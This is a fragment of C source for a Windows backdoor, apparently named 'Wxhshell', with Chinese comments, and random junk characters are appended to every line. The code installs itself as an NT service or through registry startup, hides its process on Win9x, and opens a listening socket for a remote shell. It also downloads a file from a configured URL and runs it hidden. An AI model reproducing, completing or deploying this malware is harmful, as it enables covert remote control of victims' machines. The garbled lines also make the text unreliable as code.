} PROCESS_BASIC_INFORMATION; cE3co(j
5IepVS(>?v
PROCNTQSIP NtQueryInformationProcess; g^idS:GtX5
LCG<
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _YY)-H
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }LRAe3N%8
I4*N
HANDLE hProcess; ^Iz.O
PROCESS_BASIC_INFORMATION pbi; }XUHP%
Q -+jG7vT
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,iyIF~1~#>
if(NULL == hInst ) return 0; ]:njP3r
0MOAd!N
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); L \$zr,=C
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |!|`Je3 K
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0K!9MDT}*
l20q(lb
if (!NtQueryInformationProcess) return 0; o^ 4+eE
OhTO*C8
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); s[g1ei9
if(!hProcess) return 0; iPIA&)x}
wK3}K
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1v Thb
k4@GjO1"$
CloseHandle(hProcess); 5u&jNU5m_
mB\5bSFY`
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); u,C-U!A
if(hProcess==NULL) return 0; b&ADj8cKC
vH=I#Ajar
HMODULE hMod; G$Dg*<
char procName[255]; +X< Z
43
unsigned long cbNeeded; RsbrD8*AD
vw3W:TL
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =}L[/ RL
cr!I"kTgD
CloseHandle(hProcess); QEVjXJOt0
R =jK3yfw
if(strstr(procName,"services")) return 1; // 以服务启动 AkF1Hj
%8ul}}d9
return 0; // 注册表启动 |`|b&Rhu
} ;R67a
V,
j04Q3d
\f
// 主模块 ed{9UJWh
int StartWxhshell(LPSTR lpCmdLine) XH. _Z
{ HqbTJ!a
SOCKET wsl; LP87X-qkjW
BOOL val=TRUE; 9=/8d`r
int port=0; B!<I[fvK
struct sockaddr_in door; >8,BC
<ZocMv9gM
if(wscfg.ws_autoins) Install(); \CL`j
r8xH A
port=atoi(lpCmdLine); !b7H
^a(q7ZfY
if(port<=0) port=wscfg.ws_port; u]}Xq{ZN
W=DQ6.
WSADATA data; MDlCU
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; > ):b AfI
#*~ (
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; .1}u0IbJ
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); sC#Ixq'ls7
door.sin_family = AF_INET; (d ( whlF
door.sin_addr.s_addr = inet_addr("127.0.0.1"); M,9WF)p)V
door.sin_port = htons(port); 0t9G$23
Fm@GU
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { LR^b?.#>
closesocket(wsl); IuTTMAt
return 1; LvR=uD
} 55AG>j&41
[fb -G5x
if(listen(wsl,2) == INVALID_SOCKET) { |[qI2-e l?
closesocket(wsl); aw,8'N)
return 1; B1GSZUd^?0
} )~J/,\
Wxhshell(wsl); &K7g8x"x.
WSACleanup(); Lt*H|9
Ah"RxA
return 0; j/W#=\xz
)S`A+M K]
} &38Fj'l
lmod8B
// 以NT服务方式启动 3:C *'@
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) MXhS\vF#m
{ 9|go`^*.
DWORD status = 0; /E*P0y~KTW
DWORD specificError = 0xfffffff; )~Q$ tM`
s^AYPmR6
serviceStatus.dwServiceType = SERVICE_WIN32; ,7'l$-r l
serviceStatus.dwCurrentState = SERVICE_START_PENDING; xNx!2MrR;
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *BF1Sso
serviceStatus.dwWin32ExitCode = 0; 2^juLXc|R
serviceStatus.dwServiceSpecificExitCode = 0; zgO?%O
serviceStatus.dwCheckPoint = 0; ^{bP#f
serviceStatus.dwWaitHint = 0; \'p)kDf
Wl*\kQ}U
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Z8:iaP)
if (hServiceStatusHandle==0) return; `=.{i}V
`aC#s3[
status = GetLastError(); 4iKT
if (status!=NO_ERROR) co;2s-X
{ \=QG6&_
serviceStatus.dwCurrentState = SERVICE_STOPPED; SY)o<MD
serviceStatus.dwCheckPoint = 0; ;mMn-+ 3<
serviceStatus.dwWaitHint = 0; C|>#|5XaF
serviceStatus.dwWin32ExitCode = status; %xY'v$
%
serviceStatus.dwServiceSpecificExitCode = specificError; F:\y#U6"J
SetServiceStatus(hServiceStatusHandle, &serviceStatus); tvg7mU]l
return; Yu8WmX,[
} "BTA"
6I>W(_T
serviceStatus.dwCurrentState = SERVICE_RUNNING; u2DsjaL
serviceStatus.dwCheckPoint = 0; MF& +4$q
serviceStatus.dwWaitHint = 0; M+ H$Jjcs
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $1w8GI\J
} $[z*MQ
63at
lq
// 处理NT服务事件,比如:启动、停止 8]0R[kjD
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,CCIg9Pt
{ M#:Mwa$
switch(fdwControl) 3fGy
{ y(q1~73s
case SERVICE_CONTROL_STOP: ]CTu |
serviceStatus.dwWin32ExitCode = 0; #-@dc
serviceStatus.dwCurrentState = SERVICE_STOPPED; [@/G?sAQm\
serviceStatus.dwCheckPoint = 0; 04,]upC${W
serviceStatus.dwWaitHint = 0; R=E )j^<F
{ ~#gVs*K
SetServiceStatus(hServiceStatusHandle, &serviceStatus); r<"1$K~Ka
} DB?[h<^m
return; ArF+9upGY
case SERVICE_CONTROL_PAUSE: k6dSj>F>
serviceStatus.dwCurrentState = SERVICE_PAUSED; }U8H4B~UtY
break; j|
257D
case SERVICE_CONTROL_CONTINUE: XX/cJp
serviceStatus.dwCurrentState = SERVICE_RUNNING; {gJOc,U4b
break; ny#7iz/
case SERVICE_CONTROL_INTERROGATE: ;Yi ;2ttW
break; 8(ZQD+U(9F
}; tv?~LJYN
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ??k^Rw+0R
} oW-luC+
"--rz;+K
// 标准应用程序主函数 Ar>-xCTD
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6 Iup4sP
{ d,$[633It}
Vls*fY:W
// 获取操作系统版本 Um*{~=;u
OsIsNt=GetOsVer(); M34*$>bk
GetModuleFileName(NULL,ExeFile,MAX_PATH); Z EG
u<):gI
// 从命令行安装 k8w8I$QEM
if(strpbrk(lpCmdLine,"iI")) Install(); Iy"
y\ouIsI77
// 下载执行文件 96 C|R
if(wscfg.ws_downexe) { n#m )]YQC
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2p@S-Lp
WinExec(wscfg.ws_filenam,SW_HIDE); >YLwWU<X
} :^px1
4Jht{#IIG
if(!OsIsNt) { B:Msn)C~
// 如果时win9x,隐藏进程并且设置为注册表启动 sfx:j~bsL
HideProc(); _<xU"8b"5
StartWxhshell(lpCmdLine); xH*OEzN
} Ff.gRx
else /\C9FGS
if(StartFromService()) vk{dL'
// 以服务方式启动 $S6AqUk$
StartServiceCtrlDispatcher(DispatchTable); ?-*_v//g
else )=8X[<^i
// 普通方式启动 _4.fT
StartWxhshell(lpCmdLine); j#o0y5S
Y]ZOvA5W
return 0; t R*JM$T
}